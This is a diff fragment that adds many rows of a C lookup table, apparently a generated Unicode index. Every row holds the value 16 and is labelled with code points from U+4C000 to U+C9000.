+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4C000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4C800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4D000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4D800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4E000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4E800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4F000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+4F800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+50000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+50800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+51000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+51800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+52000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+52800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+53000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+53800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+54000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+54800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+55000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+55800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+56000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+56800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+57000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+57800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+58000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+58800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+59000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+59800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5A000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5A800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5B000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5B800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5C000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5C800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5D000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5D800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5E000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5E800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5F000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+5F800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+60000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+60800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+61000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+61800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+62000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+62800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+63000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+63800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+64000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+64800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+65000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+65800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+66000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+66800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+67000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+67800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+68000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+68800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+69000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+69800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6A000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6A800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6B000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6B800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6C000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6C800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6D000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6D800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6E000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6E800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6F000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+6F800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+70000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+70800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+71000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+71800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+72000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+72800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+73000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+73800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+74000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+74800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+75000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+75800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+76000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+76800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+77000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+77800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+78000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+78800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+79000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+79800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7A000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7A800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7B000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7B800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7C000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7C800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7D000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7D800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7E000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7E800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7F000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+7F800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+80000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+80800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+81000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+81800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+82000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+82800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+83000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+83800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+84000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+84800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+85000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+85800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+86000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+86800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+87000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+87800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+88000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+88800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+89000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+89800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8A000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8A800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8B000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8B800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8C000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8C800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8D000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8D800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8E000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8E800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8F000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+8F800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+90000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+90800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+91000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+91800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+92000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+92800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+93000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+93800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+94000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+94800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+95000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+95800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+96000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+96800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+97000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+97800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+98000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+98800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+99000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+99800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9A000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9A800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9B000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9B800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9C000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9C800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9D000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9D800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9E000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9E800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9F000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+9F800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A0000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A0800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A1000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A1800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A2000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A2800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A3000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A3800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A4000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A4800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A5000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A5800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A6000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A6800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A7000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A7800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A8000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A8800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A9000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+A9800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AA000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AA800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AB000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AB800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AC000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AC800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AD000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AD800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AE000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AE800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AF000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+AF800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B0000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B0800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B1000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B1800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B2000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B2800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B3000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B3800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B4000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B4800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B5000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B5800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B6000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B6800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B7000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B7800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B8000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B8800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B9000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+B9800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BA000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BA800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BB000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BB800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BC000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BC800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BD000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BD800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BE000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BE800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BF000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+BF800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C0000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C0800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C1000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C1800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C2000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C2800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C3000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C3800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C4000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C4800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C5000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C5800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C6000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C6800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C7000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C7800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C8000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C8800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C9000 */
